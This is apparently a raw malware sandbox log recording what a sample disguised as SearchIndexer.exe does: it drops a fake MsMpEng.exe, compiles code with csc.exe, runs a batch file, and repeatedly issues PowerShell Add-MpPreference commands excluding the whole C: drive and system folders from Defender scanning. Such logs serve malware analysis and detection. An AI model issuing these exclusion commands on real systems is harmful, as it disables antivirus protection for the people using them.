                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe'Jump to behavior
                              Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline"Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat" Jump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF5B1.tmp" "c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP"Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe "C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe"
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeQueries volume information: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
